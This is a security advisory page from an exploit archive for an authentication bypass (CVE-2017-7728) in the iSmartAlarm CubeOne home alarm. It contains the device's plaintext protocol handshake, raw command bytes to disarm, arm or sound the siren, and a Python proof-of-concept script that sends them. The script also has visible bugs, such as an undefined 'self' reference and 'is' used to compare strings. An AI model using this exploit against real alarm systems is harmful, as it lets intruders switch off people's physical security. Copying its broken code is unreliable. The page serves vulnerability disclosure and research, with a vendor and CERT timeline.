Twenty Year Anniversary

iSmartAlarm CubeOne Remote Command Execution

iSmartAlarm CubeOne Remote Command Execution
Posted Jul 14, 2017
Authored by Ilia Shnaidman

iSmartAlarm CubeOne suffers from a remote command execution vulnerability that allows disabling the alarm and setting it off.

tags | exploit, remote
advisories | CVE-2017-7728
MD5 | 833bd9dd85db2c65f3f3f6af99f3241b

iSmartAlarm CubeOne Remote Command Execution

Change Mirror Download
[+] Credits: Ilia Shnaidman
[+] @0x496c on Twitter
[+] Source:
http://dojo.bullguard.com/blog/burglar-hacker-when-a-physical-security-is-compromised-by-iot-vulnerabilities/


Vendor:
=============
iSmartAlarm, inc.


Product:
===========================
iSmartAlarm cube - All

iSmartAlarm is one of the leading IoT manufactures in the domain of smart alarm systems.
It provides a fully integrated alarm system with siren, smart cameras and locks.
It functions like any alarm system, but with the benefits of a connected device: alerts pop up on your phone,
offering you full remote control via mobile app wherever you are.


Vulnerability Type:
======================
Authentication Bypass


CVE Reference:
=============
CVE-2017-7728


Security Issue:
================
On iSmartAlarm cube devices, there is an authentication bypass.
The vulnerability can lead to remote execution of alarm's commands; setting the alarm on/off and activating the alarm siren.


Additional Information:
===============
1. First the app and the cube authenticate by using sophisticated 4 way
handshake.
Looks like that:
App ISAT\x01\x00*3\x01\x00*7
Cube ISAT\x02\x00*3\x01\x00*3\x10\x00*3 + "Cube generated Secret Key"
2. Encryption algorithm: With the "Secret key" and the IPU (encryption key)
the app decrypts a key using XXTEA encryption algorithm (funny thing is that ismartalarm implementation is broken).
After that, the algorithm takes the output of the XXTEA enc and then reverses the output.
This is the "new key"! So now, we got the encryption key, and we can do whatever we want with the alarm.
3. The app sends command as follows to proceed with the authentication:
App ISAT\x03\x00*3\x01\x00*3\x10\x00*3 + "new key"
Cube ISAT\x04\x00*3\x01\x00*3\x01\x00*3\x01
4. NOW WE ARE AUTHENTICATED.
we can now send one of the following commands to the cube
Disarming the alarm "Disarm mode":
ISATP\x00*3\x01\x00*3\x03\x00*3\x01\x002
Arming the alarm "Arm mode":
ISATP\x00*3\x01\x00*3\x03\x00*3\x01\x000
Activate alarm's siren "Panic mode":
ISATP\x00*3\x01\x00*3\x03\x00*3\x01\x003


Attack Vectors:
===============
After authentication, using the above protocol will allow full control
of the alarm.

When iSmartAlarm's mobile app connected to the same network as the iSmartAlarm's cube,
their authentication and then communication are made on port tcp/12345 in PLAIN TEXT.
Obtaining encryption key is done by using CVE-2017-7726. After setting the MITM
a POST request is made to the following api:
https://api.ismartalarm.com:8443/api/GetIpuEnr.ashx
>From there an attacker can obtain the encryption key.
After obtaining the encryption key, using the above protocol will allow an
attacker a full control over the alarm system.


PoC:
===============
#!/usr/bin/python
# auther: Ilia Shnaidman
# @0x496c on Twitter

# python27
import socket
import struct

# - - - - - - -
ISMART_SYN = 'ISAT\x01\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00'
ISMART_SYN_ACK = 'ISAT\x02\x00\x00\x00\x01\x00\x00\x00\x10\x00\x00\x00'
ISMART_ACK_PREFIX = 'ISAT\x03\x00\x00\x00\x01\x00\x00\x00\x10\x00\x00\x00'
ISMART_SUCCESS_ACK = 'ISAT\x04\x00\x00\x00\x01\x00\x00\x00\x01\x00\x00\x00\x01'
ISMART_ALARM_DISARM = 'ISATP\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00\x01\x002'
ISMART_ALARM_DISARM_ACK = 'ISATQ\x00\x00\x00\x01\x00\x00\x00\x05\x00\x00\x00\x01\x00200'
ISMART_ALARM_ARM = 'ISATP\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00\x01\x000'
ISMART_ALARM_ARM_ACK = 'ISATQ\x00\x00\x00\x01\x00\x00\x00\x05\x00\x00\x00\x01\x00000'
ISMART_ALARM_PANIC = 'ISATP\x00\x00\x00\x01\x00\x00\x00\x03\x00\x00\x00\x01\x003'
ISMART_ALARM_PANIC_ACK = 'ISATQ\x00\x00\x00\x01\x00\x00\x00\x05\x00\x00\x00\x01\x00300'
DELTA = 0x9e3779b9
IP = '1.2.3.4'
ISMART_PORT = 12345
# retrieve ismartalarm key using CVE-2017-7726,
# and search for /GetIpu.ashx api
ISMART_KEY = ""
MTU = 1450
# - - - - - - -

def decrypt_in_place(data,key):
#data_out = [0,0,0,0]
key_u = struct.unpack('>IIII', key)
data_u = struct.unpack('>IIII', data)
data_u = [i for i in data_u]
if len(key_u) != 4:
return None
if len(data_u) != 4:
return None
y = data_u[0]
sum = (6 + (52/4)) * DELTA
l = 4
for i in xrange(19):
e = (sum >> 2) & 3
for p in xrange(3,0,-1):
z = data_u[p-1]
y = (data_u[p] - ((((z>>5^(y<<2&0xffffffff)) + (y>>3^(z<<4&0xffffffff))) ^ (((sum^y)&0xffffffff) + (key_u[(p&3)^e]^z)))&0xffffffff))&0xffffffff
data_u[p] = y
z = data_u[l-1]
y = (data_u[0] - ((((z>>5^(y<<2&0xffffffff)) + (y>>3^(z<<4&0xffffffff))) ^ (((sum^y)&0xffffffff) + (key_u[(0&3)^e]^z)))&0xffffffff))&0xffffffff
data_u[0] = y
sum = sum - DELTA
return data_u

def revarr(arr):
n_arr = [0]*16
for i in xrange(4):
n_arr[i] = arr[3-i]
n_arr[i+4] = arr[7-i]
n_arr[i+8] = arr[11-i]
n_arr[i+12] = arr[15-i]
return "".join(n_arr)

def ismartalarm_connection():
ismart_so = socket.socket()
ismart_so.settimeout(5)
ismart_so.connect((IP, ISMART_PORT))
ismart_so.send(ISMART_SYN)
so_recv = ismart_so.recv(MTU)
if ISMART_SYN_ACK == so_recv[:16]:
ismart_secret = so_recv[16:]
key = ISMART_KEY
data_dec = decrypt_in_place(revarr(ismart_secret), revarr(key))
data_dec_rev = revarr("".join(["{0:0{1}x}".format(i,8) for i in data_dec]).decode("hex"))
ismart_so.send("%s%s" % (ISMART_ACK_PREFIX, data_dec_rev))
so_recv = self.ismart_so.recv(MTU)
if ISMART_SUCCESS_ACK == so_recv:
# We are authenticated
return ismart_so
return False

def ismart_commands(command):
# Get authenticated connection to ismartalarm
ismart_so = ismartalarm_connection()
if not ismart_so:
# we failed to authenticate
return False
if not command:
return False
if "arm" is command:
print "[+] Sending arm command"
ismart_so.send(ISMART_ALARM_ARM)
so_recv = ismart_so.recv(MTU)
if ISMART_ALARM_ARM_ACK == so_recv:
print "[!] Success! iSmart Alarm system is ARMED!"
elif "disarm" is command:
print "[+] Sending disarm command"
ismart_so.send(ISMART_ALARM_DISARM)
so_recv = ismart_so.recv(MTU)
if ISMART_ALARM_DISARM_ACK == so_recv:
print "[!] Success! iSmartAlarm system is disarmed!"
elif "panic" is command:
print "[+] Sending panic command, close your ears :)"
ismart_so.send(ISMART_ALARM_PANIC)
so_recv = ismart_so.recv(MTU)
if ISMART_ALARM_PANIC_ACK == so_recv:
print "[!] Success! iSmartAlarm system is in panic mode!"
return True



Network Access:
===============
Remote


Severity:
=========
High


Disclosure Timeline:
=====================================
Jan 30, 2017: Initial contact to vendor
Feb 1, 2017: Vendor replied, requesting details
Feb 2, 2017: Disclosure to vendor
Apr 12, 2017: After vendor didn't replied, I've approached CERT
Apr 13, 2017: Confirmed receipt by CERT and assigning CVEs
July 05, 2017: Public disclosure


Comments

RSS Feed Subscribe to this comment feed

No comments yet, be the first!

Login or Register to post a comment

Want To Donate?


Bitcoin: 18PFeCVLwpmaBuQqd5xAYZ8bZdvbyEWMmU

File Archive:

April 2018

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    5 Files
  • 2
    Apr 2nd
    17 Files
  • 3
    Apr 3rd
    11 Files
  • 4
    Apr 4th
    21 Files
  • 5
    Apr 5th
    17 Files
  • 6
    Apr 6th
    12 Files
  • 7
    Apr 7th
    1 Files
  • 8
    Apr 8th
    6 Files
  • 9
    Apr 9th
    21 Files
  • 10
    Apr 10th
    18 Files
  • 11
    Apr 11th
    42 Files
  • 12
    Apr 12th
    7 Files
  • 13
    Apr 13th
    14 Files
  • 14
    Apr 14th
    1 Files
  • 15
    Apr 15th
    1 Files
  • 16
    Apr 16th
    15 Files
  • 17
    Apr 17th
    20 Files
  • 18
    Apr 18th
    24 Files
  • 19
    Apr 19th
    20 Files
  • 20
    Apr 20th
    7 Files
  • 21
    Apr 21st
    10 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2018 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close